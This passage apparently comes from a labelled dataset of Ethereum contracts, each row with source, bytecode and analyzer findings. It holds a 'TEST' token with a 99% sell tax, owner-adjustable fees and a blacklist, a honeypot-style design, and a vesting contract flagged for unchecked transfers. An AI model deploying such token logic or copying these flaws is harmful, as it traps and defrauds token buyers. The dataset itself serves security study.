050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7f57611c7f611c55565b5060010190565b60008219821115611c9957611c99611c55565b500190565b600082821015611cb057611cb0611c55565b500390565b600060208284031215611cc757600080fd5b81516112b28161190e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d225784516001600160a01b031683529383019391830191600101611cfd565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d6057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7f57611d7f611c55565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122014e4a8f43d166016af75c3d472faa21a99f5be4e67c5fceb1dd8b2d73375499764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,257
0x40a9b5358f4a87629cb10eb6006ee44a429f967e
/** *Submitted for verification at Etherscan.io on 2022-05-04 */ /** *Submitted for verification at Etherscan.io on 2022-04-26 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TEST is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "TEST"; string private constant _symbol = "TEST"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 99; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA); address payable private _marketingAddress = payable(0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 10000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.mul(33).div(100)); _marketingAddress.transfer(amount.mul(67).div(100)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c8063715018a6146100465780638da5cb5b14610050578063f2fde38b1461006f575b600080fd5b61004e610082565b005b600054604080516001600160a01b039092168252519081900360200190f35b61004e61007d366004610245565b61012b565b6000546001600160a01b031633146100e15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146101855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016100d8565b6001600160a01b0381166101ea5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016100d8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600060208284031215610256578081fd5b81356001600160a01b038116811461026c578182fd5b939250505056fea264697066735822122088652afacc2f5941ea4256ffc7878238996a75ddf73b8a828facedb00b517cb564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,258
0xf39A16C5805483758C211FF83Df854FDD17Ca732
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // contract VestingContract is Ownable { using SafeMath for uint256; // CNTR Token Contract IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B); uint256[] vestingSchedule; address public receivingAddress; uint256 public vestingStartTime; uint256 constant public releaseInterval = 30 days; uint256 public totalTokens; uint256 public totalDistributed; uint256 index = 0; constructor(address _address) public { receivingAddress = _address; } function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner { require(vestingStartTime == 0); vestingSchedule = _vestingSchedule; for(uint256 i = 0; i < vestingSchedule.length; i++) { totalTokens = totalTokens.add(vestingSchedule[i]); } } function updateReceivingAddress(address _address) public onlyOwner { receivingAddress = _address; } function releaseToken() public { require(vestingSchedule.length > 0); require(msg.sender == owner() || msg.sender == receivingAddress); if (vestingStartTime == 0) { require(msg.sender == owner()); vestingStartTime = block.timestamp; } for (uint256 i = index; i < vestingSchedule.length; i++) { if (block.timestamp >= vestingStartTime + (index * releaseInterval)) { tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether)); totalDistributed = totalDistributed.add(vestingSchedule[i]); index = index.add(1); } else { break; } } } function getVestingSchedule() public view returns (uint256[] memory) { return vestingSchedule; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,259
0x22141343a20640daaF695226B2233BaEEF0f0d62
